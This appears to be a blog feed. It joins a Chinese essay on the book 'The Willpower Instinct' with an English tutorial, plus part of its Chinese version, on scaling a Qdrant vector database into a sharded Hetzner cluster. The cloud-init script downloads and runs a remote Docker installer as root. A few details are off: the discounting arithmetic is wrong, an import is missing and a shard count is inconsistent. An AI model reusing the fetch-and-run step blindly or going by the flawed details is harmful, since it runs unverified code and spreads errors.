在从工作之后逐渐有了以上观察的情况下,由于我一直信奉上下文切换是这一切的根因,且自诩自己是一个追求极高效率的人,我努力发觉生活中可能带来上下文切换的东西并减少切换发生的次数来尝试换来更高的专注力和思维的深度。
在这里我想问读者一个问题,无论上班与否,你是否在完成一个项目的中途习惯性摸起手机开始玩?
例如在运行了 cargo build(或者 bun run build) 等待的时间想着摸起手机看一会傻逼小红书或者打开开心消消乐?
例如在尝试设计一个较为复杂的功能在构思的时候突然 Telegram/WeChat 上有个朋友给你发来了山西大同「订婚强奸案」的一些诡异评论而暂时丢下目前的构思并开始回复消息,同时习惯性打开 Google 搜索这个案子的更多上下文信息并和朋友开始聊天?
例如设计完成了多个功能的一个部分的时候(比如某个项目登录过程中的 JWT 部分)感觉松了一口气于是很自然的 Ctrl-T,然后打开 Twitter 开始刷推?
例如在某个绿色聊天软件上和朋友聊天发完消息,并在对面还没回复的时候就习惯性点「发现」然后打开「朋友圈」刷一下?
为什么我可以很自然的举出上面的例子,因为
我曾经周围的人就是这样🤪
还记得上文吗?由于我自诩自己一个追求极高效率的人,最近一个偶然的机会重新捡起「自控力」一书,并尝试带着更多的经验积累尝试从书中获得一些或许是新的感悟。(为什么是「或许是新的感悟」,因为我记得我之前读过这本书,但是我并不记得我什么时候读过了)
豆瓣上对于本书的简介如下:
作为一名健康心理学家,凯利·麦格尼格尔博士的工作就是帮助人们管理压力,并在生活中做出积极的改变。多年来,通过观察学生们是如何控制选择的,她意识到,人们关于自控的很多看法实际上妨碍了我们取得成功。
例如,把自控力当作一种美德,可能会让初衷良好的目标脱离正轨。所以,麦格尼格尔要求她的学生了解影响自控的生理学基础、心理陷阱和各种社会因素。麦格尼格尔吸收了心理学、神经学和经济学等学科的最新洞见,为斯坦福大学继续教育项目开设了一门叫做“意志力科学”的课程,参与过这门课程的人称其能够“改变一生”。
这门课程就是《自控力》一书的基础。本书为读者提供了清晰的框架,讲述了什么是自控力,自控力如何发生作用,以及为何自控力如此重要。
当下阅读这本书的主要感觉是全书不长,且带有许多作者本人以及教学途中来自学生的经验,但是有过阅读类似「亲密关系」这类个人感觉介于论文和书本之间的书后会感觉本书的例子和论证还是缺少一些论文证据的举证,所以这里也建议对本书有兴趣的读者在阅读时可以审慎地阅读并尝试分析作者提出的观点是否有前后矛盾的地方或者论据不足的地方。
而本文也会着重从自己的观察出发记录一些从书中获得到的收获和感想。
如果你好奇我说的「介于论文和书本之间的书」是怎么个样子的话,这是从「亲密关系」中的一段引用:
在《自控力》第二章的位置作者引用了 X T Wang 1 , Robert D Dvorak 的「能量预算」理论,对于大脑来说能量就是金钱,实验邀请 65 位实验对象通过一系列经典的自控力测试,比如「今天拿 120 美元还是一个月后拿 450 美元」之类来判断实验对象的自控力水平。
这里自控力测试在原文中的描述是「future discounting」,即对未来获得的奖励的折扣。 (例如如果现在获得 100 美元,future discounting 是 10%,那现在获得 100 美元给大脑的奖励等于一个月后获得 1000 美元)
在让实验对象做出选择后研究人员给部分研究对象喝含糖苏打水(可以提升血糖)作为实验组,给另一部分实验对象喝含代糖的苏打水(味道可能和含糖无差,但是没法提升血糖),作为对照组。
休息 10 分钟后重新给实验对象测量血糖,并进行另一系列自控力测试。
实验的结论表示血糖上升后的实验对象在新的自控力测试中表现得更加有自控力,或者说「future discounting」更低。
这个论文的题目是「 Sweet future: fluctuating blood glucose levels affect future discounting 」在 Pubmed 上的地址是 https://pubmed.ncbi.nlm.nih.gov/20424042/, DOI 是 10.1177/0956797609358096
一点小结:如果饿着肚子就没法专心思考问题以及获得长期自控力(同时更加容易受到短期诱惑(比如刷一会傻逼小红书)),但注意这里的结论并不是让我们通过不断提高对于糖的摄入来保持一个高血糖浓度水平(毕竟还有胰岛素在参与,且持续高糖摄入会导致肥胖等问题)。
许多人可能会对多巴胺的效果有一些误解(包括我也是),认为是多巴胺直接让我们产生了快乐的感觉。但是其实多巴胺释放会带给我们的其实不是快乐本身,而是一种激励,欲望,或者说推动我们去寻找快乐。
大眾普遍認為多巴胺是產生愉悅的物質,但目前藥理學研究認為多巴胺其實是記錄誘因顯著性的物質。[6][7][8]換句話說,多巴胺表示對某個結果的欲望或厭惡,然後推動人去使它實現,或是避免它實現。[8][9]
在《自控力》第五章的位置作者提到了 Brian Knutson 的一项 2001 年的研究,「让被试者看到屏幕上的符号就期待自己能赢钱,想要赢钱的话只要按一个按钮就可以获得奖励」表示「当奖励系统活跃的时候,被试者感受到的是期待而不是快乐」。
针对这个研究我搜索了 Pubmed 找到了标题是「 Anticipation of increasing monetary reward selectively recruits nucleus accumbens 」,Pubmed 地址是: https://pubmed.ncbi.nlm.nih.gov/11459880/

不过论文中似乎没有提到期待的部分,请读者阅读时注意。
由于明白了多巴胺带来的是承诺和推动我们获得快乐的动力,所以如许多人说的「做顺应人性的事情就能赚钱」,我们也就不难理解例如刷傻逼小红书/淘宝/PornHub/Bilibili 带来的一次次多巴胺释放指挥大脑尝试做的事情了,大脑会不断要求更多的刺激,直到我们觉得满意。
不过,除了看 PornHub 以外,我们真的会有「觉得满意」的时候么?还是说只是到了比较累的时候,或者不得不回到自己本职工作的时候才会勉强停止?而此时你已经累了,很难专注起来了
这一点也呼应了《娱乐致死》中对于「现在科技让我们的专注力越来越弱」的描述,只不过那本书的侧重点是在于我们的大脑逐渐适应了短平快的内容和高速的内容种类切换,让我们难以习惯需要长期保持注意力的工作。
当你情绪低落/面临压力的时候是不是第一反应是——我吃点东西/喝点酒/看会电视/玩会游戏/刷一会傻逼小红书之后就会变得心情好一些了?
或者当你看 Bilibili 视频看到了凌晨 1 点之后想到明天早上 8 点要打卡上班感觉心怀愧疚和压力但是却又点开了下一个视频?
在书的第六章表示上面的第一反应主要来源于我们大脑对于「如何缓解压力」的一个主流的错误预测——即大脑不知道怎么才能让我们快乐/放松压力,导致我们被大脑引导组织做了真正让可以给我们带来快乐/缓解压力的事情。
真正能释放压力的不是释放多巴胺或者依赖「奖励的承诺」,而是增加大脑中改善情绪的化学物质,如血清素,γ-氨基丁酸(简称GABA)和催产素,当大脑不再对压力产生反应,减少身体里的压力荷尔蒙,产生有治愈效果的放松反应,因为他们不像释放多巴胺的物质那样让人兴奋,所以我们往往忽略了他们的作用。
这里作者引用了一个调查:
经常用 LLM 的同学肯定知道,可以通过设置各种参数来调节 LLM 输出的内容,其中一个参数就是频率惩罚(Frequency Penalty)
The frequency penalty parameter tells the model not to repeat a word that has already been used multiple times in the conversation.
经常熬夜看视频到凌晨 1 点的同学可能也会有类似的经验——淦我居然看到了这个时候,明天还要上班,这样下去明天一天都会没有精神,我真失败,真是没有自控力,明天我一定要早睡然后开始早起。
书的第八章表示这样的罪恶感的产生以及自我惩罚其实反而会导致更差的心情,大脑会第一反应想要引导人做一些可以它认为可以快速改善心情的事情,也就回到了上一个章节中说的「情绪低落/面临压力带来欲望和下降的自控力」,反而进入了恶性循环。
书中提到的一个观点:
众多研究显示,自我自我批评会降低积极性和自控力,而且也是最容易导致抑郁的因素。它不仅耗尽了“我要做”的力量,还耗尽了“我想要”的力量。相反,自我同情自毁提升积极性和自控力。
从这里联想出来的另一个个人的经历就是对自己要求的高标准,以及对未能达到高标准的自我惩罚,每次想到高标准的时候脑海中都能想到 10 年前看过的一篇博文「高标准与不完美 - 子龙山人」。
由于某些设计上的疏忽导致了一些需要额外 workaround 的设计带来了自我惩罚,到未来尝试做某事(或者某个设计)而害怕自己设计不完美而迟迟不开始行动便是一个典型的例子。然后由于迟迟没有做出行动不断自我否定「搞(重构)这个东西干嘛?这么做有什么意义?」会进一步消磨自己的自信心,行动力,然后事情就一直无法推进了。🤷
书中对于这类问题的建议是「与自己和解」,正视自己的「罪恶感」并仔细观察这些「罪恶感」的来源并完善的记录下来,但并不要因此对自己有惩罚的想法,这样有助于在未来帮助自己理解这些不同感受出现的原因和时机,以及什么时候会自然消去。
如果只按照「正确」和「错误」来判断做过的事,而不是牢记我们真正想要的东西,就会带来与目标相抵触的冲动,并允许我们做出妨碍自己的行为。
不长的全书在利用一周的睡前的空闲时间读完,整体读完的思路也从「我想看看如何进一步提升自控力来强化自己的效率表现」变为逐步理解自控力的来源,消耗方式,同时也认识到了要通过自我惩罚无法获得真正的自控,只会让我们像被大人要求的小孩一样获得短暂的自我控制(Self-control)并消耗更多的行动信心,而真正实现自控的是「对于长期最终目标的追求」,这里的目标才是引导我们逐渐成为「成年人」和实现自控的最终解决方案。
自控力最强的人不是与自我的较量中获得自控,而是学会了如何接受相互冲突的自我,并将这些自我融为一体
那么,你的长期目标是什么?是什么驱动着你的所有行为?
]]>Realized it’s been almost a year since I last wrote a blog post with some technical content…
The existing Qdrant deployment is very simple—a standalone docker-compose.yml file, as shown below:
qdrant:
image: qdrant/qdrant:v1.14.0
restart: always
ports:
- 6333:6333
- 6334:6334
volumes:
- ./volumes/qdrant:/qdrant/storage
This Qdrant instance runs on a Hetzner CCX53 machine with 32 cores and 128GB of memory. The qdrant directory is about 200GB in size, with over 21,000,000 vectors.
{
"result": {
"status": "yellow",
"optimizer_status": "ok",
"indexed_vectors_count": 21297932,
"points_count": 21337945,
"segments_count": 10,
}
}

Here we need to explain the machines used for the cluster. Since Qdrant uses Raft as the consensus protocol, our deployment should involve at least 3 machines. We start with 3 machines in our initial setup, deployed in a test environment on Hetzner, with the following IPs:
Note: These are just for demonstration purposes. If you’re also using Hetzner, you can quickly deploy a Qdrant cluster using Cloud init with internal IPs, as described at the end of this article.
Since we’re using Docker for deployment, we only need to create a docker-compose.yml file on 10.0.0.6 with the following content:
services:
qdrant_node1:
image: qdrant/qdrant:v1.14.0
restart: always
volumes:
- ./qdrant_storage:/qdrant/storage
- ./qdrant_snapshots:/qdrant/snapshots
ports:
- "6333:6333"
- "6334:6334"
- "6335:6335"
environment:
QDRANT__CLUSTER__ENABLED: "true"
command: "./qdrant --uri http://10.0.0.6:6335"
On 10.0.0.7, create a docker-compose.yml file with the following content:
services:
qdrant_node2:
image: qdrant/qdrant:v1.14.0
ports:
- "6333:6333"
- "6334:6334"
- "6335:6335"
volumes:
- ./qdrant_storage:/qdrant/storage
- ./qdrant_snapshots:/qdrant/snapshots
environment:
QDRANT__CLUSTER__ENABLED: "true"
command: "./qdrant --bootstrap http://10.0.0.6:6335 --uri http://10.0.0.7:6335"
On 10.0.0.9, create a docker-compose.yml file with the following content:
services:
qdrant_node3:
image: qdrant/qdrant:v1.14.0
ports:
- "6333:6333"
- "6334:6334"
- "6335:6335"
volumes:
- ./qdrant_storage:/qdrant/storage
- ./qdrant_snapshots:/qdrant/snapshots
environment:
QDRANT__CLUSTER__ENABLED: "true"
command: "./qdrant --bootstrap http://10.0.0.6:6335 --uri http://10.0.0.9:6335"
Then run docker-compose up -d on each machine to start the services.
Once all nodes are up, you can access the cluster status by visiting http://localhost:6333/cluster on any machine. For example:
{
"result": {
"status": "enabled",
"peer_id": 5395257186314509,
"peers": {
"3095816753490206": {
"uri": "http://10.0.0.9:6335/"
},
"5395257186314509": {
"uri": "http://10.0.0.6:6335/"
},
"4182395837949771": {
"uri": "http://10.0.0.7:6335/"
}
},
"raft_info": {
"term": 1,
"commit": 41,
"pending_operations": 0,
"leader": 5395257186314509,
"role": "Leader",
"is_voter": true
},
"consensus_thread_status": {
"consensus_thread_status": "working",
"last_update": "2025-05-17T02:31:10.703071457Z"
},
"message_send_failures": {}
},
"status": "ok",
"time": 0.000011782
}
After setting up a distributed Qdrant cluster, as described in the official documentation at https://qdrant.tech/documentation/guides/distributed_deployment/#making-use-of-a-new-distributed-qdrant-cluster, we can see:
When you enable distributed mode and scale up to two or more nodes, your data does not move to the new node automatically; it starts out empty. To make use of your new empty node, do one of the following:
Since the current Qdrant instance we have is a single node, the collection on it has only a single shard. The collection configuration is as follows:
{
"params": {
"vectors": {
"size": 1536,
"distance": "Cosine",
"on_disk": true
},
"shard_number": 1,
"replication_factor": 1,
"write_consistency_factor": 1,
"on_disk_payload": true
},
}
...
So the first step is to create a new collection on the new cluster with the same parameters as the current collection, except that shard_number and replication_factor need to be modified.
Just like ClickHouse, creating a cluster doesn’t automatically mean your data is distributed and replicated—you have to manually specify your data.
For the settings of the two parameters above, the official documentation recommends:
If you anticipate a lot of growth, we recommend 12 shards since you can expand from 1 node up to 2, 3, 6, and 12 nodes without having to re-shard. Having more than 12 shards in a small cluster may not be worth the performance overhead.
“Anticipate a lot of growth” sounds very appropriate for our scenario, so here I create a new collection with shard_number set to 12 and replication_factor set to 2. The relevant script is as follows:
from qdrant_client import QdrantClient
import qdrant_client.http.models as models
collection_name = "new_collection"
client = QdrantClient(
host="10.0.0.6", port=6333
)
vectors_config = models.VectorParams(
size=1536, distance=models.Distance.COSINE, on_disk=True
)
hnsw_config = HnswConfigDiff(
m=0,
payload_m=16,
ef_construct=100,
full_scan_threshold=10000,
max_indexing_threads=100,
on_disk=True,
)
client.create_collection(
collection_name=collection_name,
vectors_config=vectors_config,
shard_number=12,
replication_factor= 2,
hnsw_config=hnsw_config
)
Once the new cluster is created, we need to import the data from the existing cluster. Initially, I tried to create a snapshot on the original cluster and import it into the new cluster, but encountered the following error:
{"status":{"error":"Wrong input: Snapshot is not compatible with existing collection: Collection shard number: 3 Snapshot shard number: 1"},"time":1107.142566774}
Here we need to use a Beta version tool provided by Qdrant to perform the migration: https://github.com/qdrant/migration/
Usage is as follows:
docker run --net=host --rm -it registry.cloud.qdrant.io/library/qdrant-migration qdrant \
--source-url 'http://localhost:6334' \
--source-collection 'new_collection' \
--target-url 'http://10.0.0.6:6334' \
--target-collection 'new_collection'
Note:
registry.cloud.qdrant.io/library/qdrant-migrationis an older version. It’s recommended to build the image manually using the latest code.It’s also recommended to manually patch the
grpc.MaxCallRecvMsgSizeparameter and increase thebatch-size(default is 50, can be increased to 20000) to achieve faster import speed. Related issue: https://github.com/qdrant/migration/issues/30#issuecomment-2876456943
To ensure maximum import speed, you can refer to this article: https://qdrant.tech/articles/indexing-optimization/#2-disable-hnsw-for-dense-vectors-m0, and disable hnsw_config on the new cluster, while setting a reasonable indexing_threshold, for example:
PATCH /collections/your_collection
{
"hnsw_config": {
"m": 0
},
"optimizer_config": {
"indexing_threshold": 10000
}
}
The former ensures that HNSW indexes are not built during import, and the latter ensures that vectors are flushed to disk when reaching 10,000 to prevent memory overflow due to vector accumulation.
After the import is completed, HNSW can be re-enabled to build the index.
To conveniently observe the Shard information on each node, we can use the /collections/<collection_name>/cluster API, for example, it returns the following response:
{"result":{"peer_id":5395257186314509,"shard_count":12,"local_shards":[{"shard_id":1,"points_count":1794606,"state":"Active"},{"shard_id":2,"points_count":1450924,"state":"Active"},{"shard_id":4,"points_count":1902963,"state":"Active"},{"shard_id":5,"points_count":1774613,"state":"Active"},{"shard_id":7,"points_count":1753521,"state":"Active"},{"shard_id":8,"points_count":1687892,"state":"Active"},{"shard_id":10,"points_count":1477543,"state":"Active"},{"shard_id":11,"points_count":2051536,"state":"Active"}],"remote_shards":[{"shard_id":0,"peer_id":4182395837949771,"state":"Active"},{"shard_id":0,"peer_id":3095816753490206,"state":"Active"},{"shard_id":1,"peer_id":4182395837949771,"state":"Active"},{"shard_id":2,"peer_id":3095816753490206,"state":"Active"},{"shard_id":3,"peer_id":3095816753490206,"state":"Active"},{"shard_id":3,"peer_id":4182395837949771,"state":"Active"},{"shard_id":4,"peer_id":4182395837949771,"state":"Active"},{"shard_id":5,"peer_id":3095816753490206,"state":"Active"},{"shard_id":6,"peer_id":3095816753490206,"state":"Active"},{"shard_id":6,"peer_id":4182395837949771,"state":"Active"},{"shard_id":7,"peer_id":4182395837949771,"state":"Active"},{"shard_id":8,"peer_id":3095816753490206,"state":"Active"},{"shard_id":9,"peer_id":3095816753490206,"state":"Active"},{"shard_id":9,"peer_id":4182395837949771,"state":"Active"},{"shard_id":10,"peer_id":4182395837949771,"state":"Active"},{"shard_id":11,"peer_id":3095816753490206,"state":"Active"}],"shard_transfers":[]},"status":"ok","time":0.00011113}
But… this is really not very intuitive. So we need to write a small tool to easily check the distribution of Shards across each node (Peer).
Let’s go with Python!
import requests
base_url = "http://10.0.0.6:6333"
cluster_endpoint = "/cluster"
collections_endpoint = "/collections/<collection_name>/cluster"
def get_data_from_api(endpoint):
response = requests.get(base_url + endpoint)
return response.json()
def parse_cluster_peers(cluster_data):
peers = cluster_data.get("result", {}).get("peers", {})
ip_peer_map = {}
for peer_id, peer_info in peers.items():
uri = peer_info.get("uri", "")
ip_address = uri.split("//")[-1].split(":")[0]
ip_peer_map[ip_address] = int(peer_id)
return ip_peer_map
def parse_shards(collections_data):
local_shards = collections_data.get("result", {}).get("local_shards", [])
remote_shards = collections_data.get("result", {}).get("remote_shards", [])
peer_shard_map = {}
for shard in local_shards:
peer_id = collections_data.get("result", {}).get("peer_id")
shard_id = shard.get("shard_id")
peer_shard_map.setdefault(peer_id, []).append(shard_id)
for shard in remote_shards:
peer_id = shard.get("peer_id")
shard_id = shard.get("shard_id")
peer_shard_map.setdefault(peer_id, []).append(shard_id)
return peer_shard_map
def main():
cluster_data = get_data_from_api(cluster_endpoint)
collections_data = get_data_from_api(collections_endpoint)
ip_peer_map = parse_cluster_peers(cluster_data)
peer_shard_map = parse_shards(collections_data)
ip_shard_map = {}
for ip, peer_id in ip_peer_map.items():
if peer_id in peer_shard_map:
ip_shard_map[ip] = peer_shard_map[peer_id]
else:
ip_shard_map[ip] = []
for ip, shard_ids in ip_shard_map.items():
peer_id = ip_peer_map[ip]
print(f"IP: {ip}, Peer ID: {peer_id}, Shard IDs: {shard_ids}")
if __name__ == "__main__":
main()
Once we run the script, we can easily see the Shard distribution on each node:
IP: 10.0.0.7, Peer ID: 4182395837949771, Shard IDs: [0, 1, 3, 4, 6, 7, 9, 10]
IP: 10.0.0.6, Peer ID: 5395257186314509, Shard IDs: [1, 2, 4, 5, 7, 8, 10, 11]
IP: 10.0.0.9, Peer ID: 3095816753490206, Shard IDs: [0, 2, 3, 5, 6, 8, 9, 11]
We can see that all the Shards are evenly distributed across the three machines. At this point, if any single machine goes offline or is damaged, it won’t lead to complete loss of any Shard replica, so no data loss will occur.
The “ROSE” strategy is designed to ensure that scaling is both effective and safe. It consists of four stages: Resuscitation, Optimization, Stabilization, and Evacuation.
Suppose our business keeps growing and three nodes are no longer sufficient. We’ll need to scale out. Since we initially set shard_number to 12, we can scale in multiples of 3. Now we have 3 nodes, so we add 3 more. The IPs of the new nodes are:
Creating them is the same as before: just set each node’s --url and --bootstrap http://10.0.0.6:6335, and after they join, the /cluster endpoint responds as follows:
{
"result": {
"status": "enabled",
"peer_id": 5395257186314509,
"peers": {
"3095816753490206": {
"uri": "http://10.0.0.9:6335/"
},
"4182395837949771": {
"uri": "http://10.0.0.7:6335/"
},
"3841618339255269": {
"uri": "http://10.0.0.10:6335/"
},
"3658649898688837": {
"uri": "http://10.0.0.12:6335/"
},
"5395257186314509": {
"uri": "http://10.0.0.6:6335/"
},
"8689864553665627": {
"uri": "http://10.0.0.11:6335/"
}
},
"raft_info": {
"term": 1,
"commit": 50,
"pending_operations": 0,
"leader": 5395257186314509,
"role": "Leader",
"is_voter": true
},
"consensus_thread_status": {
"consensus_thread_status": "working",
"last_update": "2025-05-17T02:49:29.351230053Z"
},
"message_send_failures": {}
},
"status": "ok",
"time": 0.000011121
}
Now, if you’re a seasoned GlusterFS user, your first instinct might be to run the following command to rebalance the data:
gluster volume rebalance VOLNAME start
Unfortunately, the open-source version of Qdrant doesn’t support this (though it’s available in their Cloud service):
It’s worth mentioning that Qdrant only provides the necessary building blocks to create an automated failure recovery. Building a completely automatic process of collection scaling would require control over the cluster machines themself. Check out our cloud solution, where we made exactly that.
Shards are evenly distributed across all existing nodes when a collection is first created, but Qdrant does not automatically rebalance shards if your cluster size or replication factor changes (since this is an expensive operation on large clusters). See the next section for how to move shards after scaling operations.
— From: https://qdrant.tech/documentation/guides/distributed_deployment/#choosing-the-right-number-of-shard

At this point, running the script again reveals:
IP: 10.0.0.6, Peer ID: 5395257186314509, Shard IDs: [1, 2, 4, 5, 7, 8, 10, 11]
IP: 10.0.0.9, Peer ID: 3095816753490206, Shard IDs: [0, 2, 3, 5, 6, 8, 9, 11]
IP: 10.0.0.12, Peer ID: 3658649898688837, Shard IDs: []
IP: 10.0.0.7, Peer ID: 4182395837949771, Shard IDs: [0, 1, 3, 4, 6, 7, 9, 10]
IP: 10.0.0.11, Peer ID: 8689864553665627, Shard IDs: []
IP: 10.0.0.10, Peer ID: 3841618339255269, Shard IDs: []
The newly added nodes are just idle — all Shards still reside on the old Peers. So, what should we do next?
Since the official documentation has provided an API to move shards:
curl -X POST http://localhost:6333/collections/collection_name/cluster \
-H "api-key: <apiKey>" \
-H "Content-Type: application/json" \
-d '{
"move_shard": {
"shard_id": 1,
"to_peer_id": 1000000,
"from_peer_id": 1000000
}
}'
A natural solution comes to mind — manually rebalance the shards. First, we calculate how many shards each node (peer) should have. In this scenario:
(Total Shards * Number of Replicas) / Number of Machines
That is, (12*2)/6 = 4
Then we can determine which peers are overfilled and which are underfilled. We can compute a “migration path” — redistribute from the rich to the poor:
⚠️ Important: Do not assign two replicas of the same shard to the same peer! If that peer fails, you lose the data for that shard.

underfilled_peers = []
for peer_id, shard_ids in peer_shard_map.items():
if len(shard_ids) < average_shards_per_peer:
underfilled_peers.append(peer_id)
overfilled_peers = []
for peer_id, shard_ids in peer_shard_map.items():
if len(shard_ids) > average_shards_per_peer:
overfilled_peers.append(peer_id)
print("underfilled_peers")
print(underfilled_peers)
print("overfilled_peers")
print(overfilled_peers)
rebalance_operations = []
for overfilled_peer in overfilled_peers:
for underfilled_peer in underfilled_peers:
for overfilled_peer_shard in peer_shard_map[overfilled_peer]:
if (len(peer_shard_map[underfilled_peer]) < average_shards_per_peer and
overfilled_peer_shard not in peer_shard_map[underfilled_peer] and
len(peer_shard_map[overfilled_peer]) > average_shards_per_peer):
print(f"Moving shard_id {overfilled_peer_shard} from peer_id {overfilled_peer} to peer_id {underfilled_peer}")
rebalance_operations.append((overfilled_peer, underfilled_peer, overfilled_peer_shard))
peer_shard_map[underfilled_peer].append(overfilled_peer_shard)
peer_shard_map[overfilled_peer].remove(overfilled_peer_shard)
else:
continue
Of course, the logic above is rough and simple — I’m sure you, the reader, can come up with something much better.

Assuming no bugs, we’ll get a list of migration operations like this:
Shard ID lists for each peer:
{5395257186314509: [1, 2, 4, 5, 7, 8, 10, 11], 4182395837949771: [0, 1, 3, 4, 6, 7, 9, 10], 3095816753490206: [0, 2, 3, 5, 6, 8, 9, 11]}
Underfilled peers:
[3658649898688837, 3841618339255269, 8689864553665627]
Overfilled peers:
[5395257186314509, 4182395837949771, 3095816753490206]
Move shard_id 1 from peer_id 5395257186314509 to peer_id 3658649898688837
Move shard_id 4 from peer_id 5395257186314509 to peer_id 3658649898688837
...
Final Shard Mapping After Rebalance:
Peer ID: 5395257186314509, Shard IDs: [2, 5, 8, 11]
Peer ID: 4182395837949771, Shard IDs: [1, 4, 7, 10]
Peer ID: 3095816753490206, Shard IDs: [2, 5, 8, 11]
Peer ID: 3658649898688837, Shard IDs: [1, 4, 7, 10]
Peer ID: 3841618339255269, Shard IDs: [0, 3, 6, 9]
Peer ID: 8689864553665627, Shard IDs: [0, 3, 6, 9]
Now we just need to wrap the shard-moving logic:
def rebalance_shards(from_peer, to_peer, shard_id):
url = f"{base_url}/collections/new_collection/cluster"
payload = {
"move_shard": {
"shard_id": shard_id,
"from_peer_id": from_peer,
"to_peer_id": to_peer
}
}
r = requests.post(url, json=payload)
And execute:
for from_peer, to_peer, shard_id in rebalance_operations:
rebalance_shards(from_peer, to_peer, shard_id)
⚠️ Always remember: this is an expensive operation on large clusters

After some time, you should end up with a fully rebalanced 6-node cluster. You can then configure your Load Balancer to route to these nodes. Your application can connect to any of them and resume operations!

For downscaling, simply move all shards off the peer to be removed (similar to kubelet drain), then use the API to remove that peer.
With a cluster of 3+ nodes, according to Raft, as long as more than 50% of nodes are online, and no single shard is fully hosted on offline nodes, all operations remain unaffected.
Oddly, Qdrant docs do not mention split-brain scenarios.
So:
If some machines go offline but no shard loses all its replicas:
If all replicas of a shard are on offline machines:
Good news: With cloud providers, total machine failure is rare unless something catastrophic (e.g. datacenter fire) happens. Most downtime is due to networking or OOM. As long as you have backups, recovery is generally possible.
There’s another gotcha: if a node is restored with a different IP, Qdrant might or might not notify the cluster of the update:
2025-05-10T07:52:31.601762Z WARN storage::content_manager::consensus::persistent: Replaced address of peer 3994356516252114 from http://10.0.0.5:6335/ to http://10.0.0.9:6335/
If it doesn’t notify, you’ll need to manually edit the /qdrant_storage/raft_state.json file on every node and restart them all.
Hopefully it won’t come to that 😇
If you’re using Hetzner Cloud, here are some extra tips:
Use Placement Groups to ensure VMs are not on the same physical host: https://docs.hetzner.com/cloud/placement-groups/overview
“In spread Placement Groups, all virtual servers are running on different physical servers.”
Enable Backups
Remember we said you could deploy quickly on Hetzner?
Hetzner provides internal metadata APIs: https://docs.hetzner.cloud/#server-metadata
For example, on a VM:
curl http://169.254.169.254/hetzner/v1/metadata/private-networks
You’ll get something like:
- ip: 10.0.0.3
alias_ips: []
interface_num: 1
mac_address: 86:00:00:c3:bf:16
network_id: 3493377
network_name: us-west-network
network: 10.0.0.0/16
subnet: 10.0.0.0/24
gateway: 10.0.0.1
Use that to generate a cloud-init that installs Docker + deploys a Qdrant node:
#cloud-config
write_files:
- path: /root/create_docker_compose.sh
permissions: "0755"
owner: root:root
content: |
#!/bin/bash
# Fetch the private network metadata
METADATA=$(curl -s http://169.254.169.254/hetzner/v1/metadata/private-networks)
# Extract the IP address from the metadata
PRIVATE_IP=$(echo "$METADATA" | awk -F': ' '/ip:/ {print $2}' | tr -d ' ')
# Generate the docker-compose.yml file
cat <<EOF > /root/docker-compose.yml
services:
qdrant:
image: qdrant/qdrant:v1.14.0
restart: always
volumes:
- ./qdrant_storage:/qdrant/storage
ports:
- "6333:6333"
- "6334:6334"
- "6335:6335"
environment:
QDRANT__CLUSTER__ENABLED: "true"
command: "./qdrant --bootstrap http://10.0.0.6:6335 --uri http://$PRIVATE_IP:6335"
EOF
- path: /root/install_docker.sh
permissions: "0755"
owner: root:root
content: |
#!/bin/bash
# Install Docker
curl -fsSL https://get.docker.com -o install-docker.sh
bash install-docker.sh
# Install Docker Compose
wget https://github.com/docker/compose/releases/download/v2.36.0/docker-compose-linux-x86_64 -O /usr/bin/docker-compose
chmod +x /usr/bin/docker-compose
runcmd:
# Update package lists
- apt-get update
- apt-get install -y curl wget
# Execute the install docker script
- /root/install_docker.sh
# Execute the script to create the docker-compose.yml file
- /root/create_docker_compose.sh
# Start Docker Compose
- cd /root && docker-compose up -d
Update the bootstrap IP for the first node, then paste this config when creating new Hetzner VMs:

Very convenient! Hetzner’s low pricing also makes this approach very cost-effective.
Lastly, let’s do some shameless pricing comparison:
Shared CPU VMs

Dedicated CPU VMs

If you find Hetzner’s pricing attractive, feel free to use my referral link: 👉 https://hetzner.cloud/?ref=6moYBzkpMb9s 👈 You’ll get €20 credit on signup, and I get €10 too 😘

That’s all — see you in the next post!
]]>发现我已经快一年没有写过带点技术的博文了…
目前已有的 Qdrant 部署方式非常简单,就是一个单独的 docker-compose.yml 文件,内容如下:
qdrant:
image: qdrant/qdrant:v1.14.0
restart: always
ports:
- 6333:6333
- 6334:6334
volumes:
- ./volumes/qdrant:/qdrant/storage
这个 Qdrant 运行在一个 32 核心,128G 内存的 Hetzner CCX53 机器上,qdrant 目录约 200G,总共有 21,000,000+ 个向量。
{
"result": {
"status": "yellow",
"optimizer_status": "ok",
"indexed_vectors_count": 21297932,
"points_count": 21337945,
"segments_count": 10,
}
}

这里我们要交代一下集群的环境的机器,由于 Qdrant 使用 Raft 作为共识协议,所以我们的部署应该 >=3 台机器,这里我们初始方案从 3 台机器开始,实验环境在 Hetzner 上,新建的三台机器 IP 如下:
注:这里只是为了演示方便使用,如果你也用 Hetzner 可以使用 Cloud init 配合内部 IP 快速部署 Qdrant 集群,文末有详细介绍。
由于使用 Docker 部署,所以我们只需要在 10.0.0.6 上创建 docker-compose.yml 文件,内容如下:
services:
qdrant_node1:
image: qdrant/qdrant:v1.14.0
restart: always
volumes:
- ./qdrant_storage:/qdrant/storage
- ./qdrant_snapshots:/qdrant/snapshots
ports:
- "6333:6333"
- "6334:6334"
- "6335:6335"
environment:
QDRANT__CLUSTER__ENABLED: "true"
command: "./qdrant --uri http://10.0.0.6:6335"
在 10.0.0.7 上创建 docker-compose.yml 文件,内容如下:
services:
qdrant_node2:
image: qdrant/qdrant:v1.14.0
ports:
- "6333:6333"
- "6334:6334"
- "6335:6335"
volumes:
- ./qdrant_storage:/qdrant/storage
- ./qdrant_snapshots:/qdrant/snapshots
environment:
QDRANT__CLUSTER__ENABLED: "true"
command: "./qdrant --bootstrap http://10.0.0.6:6335 --uri http://10.0.0.7:6335"
在 10.0.0.9 上创建 docker-compose.yml 文件,内容如下:
services:
qdrant_node3:
image: qdrant/qdrant:v1.14.0
ports:
- "6333:6333"
- "6334:6334"
- "6335:6335"
volumes:
- ./qdrant_storage:/qdrant/storage
- ./qdrant_snapshots:/qdrant/snapshots
environment:
QDRANT__CLUSTER__ENABLED: "true"
command: "./qdrant --bootstrap http://10.0.0.6:6335 --uri http://10.0.0.9:6335"
然后在各自的机器上 docker-compose up -d 启动即可。
所有的节点启动后我们访问任意机器的 http://localhost:6333/cluster 就可以看到集群状态了,例如:
{
"result": {
"status": "enabled",
"peer_id": 5395257186314509,
"peers": {
"3095816753490206": {
"uri": "http://10.0.0.9:6335/"
},
"5395257186314509": {
"uri": "http://10.0.0.6:6335/"
},
"4182395837949771": {
"uri": "http://10.0.0.7:6335/"
}
},
"raft_info": {
"term": 1,
"commit": 41,
"pending_operations": 0,
